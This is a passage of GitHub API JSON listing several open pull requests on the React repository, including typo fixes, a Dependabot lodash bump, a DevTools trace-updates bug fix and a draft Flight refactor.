"bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/bodhisilberling/react", "created_at": "2026-01-20T03:30:18Z", "updated_at": "2026-01-20T03:30:18Z", "pushed_at": "2026-01-25T18:46:41Z", "homepage": "https://react.dev", "size": 125038, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "a0566250b210499b4c5677f5ac2eedbd71d51a1b", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35623" }, "html": { "href": "https://github.com/facebook/react/pull/35623" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35623" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35623/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35623/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35623/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/82c001d310f94a92ee09be2f69dbd43ce99d20c3" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35621", "id": 3207338552, "node_id": "PR_kwDOAJy2Ks6_LBo4", "number": 35621, "state": "open", "locked": false, "title": "Fix typos: explicitlyu->explicitly, intialized->initialized", "user": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Fixed spelling errors:\r\n- Fixed 'explicitlyu' -> 'explicitly' in compiler/CLAUDE.md\r\n- Fixed 'intialized' -> 'initialized' in InferReactiveScopeVariables.ts (comment)\r\n- Fixed 'intialized' -> 'initialized' in InferMutationAliasingEffects.ts (error message)\r\n\r\n\r\n\r\n## Summary\r\n\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-24T20:37:15Z", "updated_at": "2026-01-31T02:55:30Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "6dd0f5498c85187370cd2c4509ee7121458e8d39", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "bodhisilberling:fix/typos-explicitlyu-intialized", "ref": "fix/typos-explicitlyu-intialized", "sha": "cae3b8ede36e9962134bc78b5b8c9eb63a4cf393", "user": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1137941300, "node_id": "R_kgDOQ9ObNA", "name": "react", "full_name": "bodhisilberling/react", "private": false, "owner": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/bodhisilberling/react", "created_at": "2026-01-20T03:30:18Z", "updated_at": "2026-01-20T03:30:18Z", "pushed_at": "2026-01-25T18:46:41Z", "homepage": "https://react.dev", "size": 125038, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "a0566250b210499b4c5677f5ac2eedbd71d51a1b", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35621" }, "html": { "href": "https://github.com/facebook/react/pull/35621" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35621" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35621/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35621/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35621/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/cae3b8ede36e9962134bc78b5b8c9eb63a4cf393" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35619", "id": 3205386487, "node_id": "PR_kwDOAJy2Ks6_DlD3", "number": 35619, "state": "open", "locked": false, "title": "Bump lodash from 4.17.4 to 4.17.23 in /scripts/bench", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [lodash](https://github.com/lodash/lodash) from 4.17.4 to 4.17.23.\n
\nCommits\n\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=lodash&package-manager=npm_and_yarn&previous-version=4.17.4&new-version=4.17.23)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2026-01-24T00:45:05Z", "updated_at": "2026-01-26T18:30:31Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "9d7064d4cdf69291de2d5113870283efc426423e", "assignees": {}, "requested_reviewers": { "0": { "login": "jackpope", "id": 8965173, "node_id": "MDQ6VXNlcjg5NjUxNzM=", "avatar_url": "https://avatars.githubusercontent.com/u/8965173?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jackpope", "type": "User", "user_view_type": "public", "site_admin": false } }, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/scripts/bench/lodash-4.17.23", "ref": "dependabot/npm_and_yarn/scripts/bench/lodash-4.17.23", "sha": "c651b24913984c7edf7e38a3d00b5cc878410eed", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "870cccd656bc0188c04ef8b53e8f7f1b78d486d9", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35619" }, "html": { "href": "https://github.com/facebook/react/pull/35619" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35619" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35619/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35619/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35619/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/c651b24913984c7edf7e38a3d00b5cc878410eed" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 6, 5 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35618", "id": 3205146825, "node_id": "PR_kwDOAJy2Ks6_CqjJ", "number": 35618, "state": "open", "locked": false, "title": "[DevTools] Fix: Trace Updates incorrectly highlights components when filtered parent re-mounts them", "user": { "login": "youaresoyoung", "id": 143086717, "node_id": "U_kgDOCIdUfQ", "avatar_url": "https://avatars.githubusercontent.com/u/143086717?v=4", "gravatar_id": "", "url": "https://api.github.com/users/youaresoyoung", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\n\r\n**Bug:**\r\nWhen \"Hide DOM nodes\" filter is enabled, updating a sibling component incorrectly highlights unrelated components that share a filtered parent.\r\n\r\n**Root Cause:**\r\n`didFiberRender()` only checks the `PerformedWork` flag but doesn't verify if the fiber is a mount vs update. When DevTools re-mounts components after their filtered parent changes, they have `PerformedWork=true` + `alternate=null` causing them to be incorrectly marked as \"rendered\".\r\n\r\n**Fix:**\r\nAdd `alternate` check in `didFiberRender()`. If `alternate === null`, the fiber is a mount (not an update) and should not be highlighted in trace updates.\r\n\r\n---\r\n**Before**\r\n\r\nhttps://github.com/user-attachments/assets/f478f67b-0182-45bd-af85-e3b3282604b7\r\n\r\n**After**\r\n\r\nhttps://github.com/user-attachments/assets/30983bfb-51e9-4124-a3b8-8d46b96073cf\r\n\r\n", "created_at": "2026-01-23T22:38:30Z", "updated_at": "2026-01-24T06:09:33Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "youaresoyoung:fix/devtools-include-filtered-fiber", "ref": "fix/devtools-include-filtered-fiber", "sha": "5a595d6d06a737c5f2d3f1fc3d4fbc0999dfaafe", "user": { "login": "youaresoyoung", "id": 143086717, "node_id": "U_kgDOCIdUfQ", "avatar_url": "https://avatars.githubusercontent.com/u/143086717?v=4", "gravatar_id": "", "url": "https://api.github.com/users/youaresoyoung", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1140187128, "node_id": "R_kgDOQ_Xf-A", "name": "react", "full_name": "youaresoyoung/react", "private": false, "owner": { "login": "youaresoyoung", "id": 143086717, "node_id": "U_kgDOCIdUfQ", "avatar_url": "https://avatars.githubusercontent.com/u/143086717?v=4", "gravatar_id": "", "url": "https://api.github.com/users/youaresoyoung", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "react fork", "fork": true, "url": "https://api.github.com/repos/youaresoyoung/react", "created_at": "2026-01-23T00:03:12Z", "updated_at": "2026-01-23T00:03:12Z", "pushed_at": "2026-01-23T22:32:30Z", "homepage": "https://react.dev", "size": 124427, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "870cccd656bc0188c04ef8b53e8f7f1b78d486d9", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35618" }, "html": { "href": "https://github.com/facebook/react/pull/35618" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35618" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35618/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35618/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35618/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/5a595d6d06a737c5f2d3f1fc3d4fbc0999dfaafe" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35616", "id": 3204465707, "node_id": "PR_kwDOAJy2Ks6_AEQr", "number": 35616, "state": "open", "locked": false, "title": "Fix typos: occured->occurred, teh->the, accomodate->accommodate", "user": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Fixed spelling errors in comments and error messages:\r\n- Fixed 'occured' -> 'occurred' in ReactAsyncActions-test.js\r\n- Fixed 'teh' -> 'the' in ReactFiberConfigDOM.js\r\n- Fixed 'occured' -> 'occurred' in ErrorBoundary.js\r\n- Fixed 'accomodate' -> 'accommodate' in InferMutationAliasingEffects.ts\r\n\r\n\r\n\r\n## Summary\r\n\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-23T19:00:43Z", "updated_at": "2026-01-23T19:00:49Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "64360daf88f8d406d6c8bfa29ef71c099a2a5275", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "bodhisilberling:fix/typos-occured-teh-accomodate", "ref": "fix/typos-occured-teh-accomodate", "sha": "7feebc45b6d3b58c91c119a4d1d06d6fe9e97611", "user": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1137941300, "node_id": "R_kgDOQ9ObNA", "name": "react", "full_name": "bodhisilberling/react", "private": false, "owner": { "login": "bodhisilberling", "id": 194859698, "node_id": "U_kgDOC51Ssg", "avatar_url": "https://avatars.githubusercontent.com/u/194859698?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bodhisilberling", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/bodhisilberling/react", "created_at": "2026-01-20T03:30:18Z", "updated_at": "2026-01-20T03:30:18Z", "pushed_at": "2026-01-25T18:46:41Z", "homepage": "https://react.dev", "size": 125038, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "a688a3d18cfd911bf9c5e6a7ddc1af7c061b9653", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35616" }, "html": { "href": "https://github.com/facebook/react/pull/35616" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35616" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35616/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35616/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35616/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/7feebc45b6d3b58c91c119a4d1d06d6fe9e97611" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35611", "id": 3203612876, "node_id": "PR_kwDOAJy2Ks6-80DM", "number": 35611, "state": "open", "locked": false, "title": "[Flight] Iterative version of visitAsyncNode", "user": { "login": "eps1lon", "id": 12292047, "node_id": "MDQ6VXNlcjEyMjkyMDQ3", "avatar_url": "https://avatars.githubusercontent.com/u/12292047?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eps1lon", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Just an Opus 4.5 oneshot I haven't reviewed.", "created_at": "2026-01-23T14:54:19Z", "updated_at": "2026-02-08T16:32:23Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "milestone": null, "draft": true, 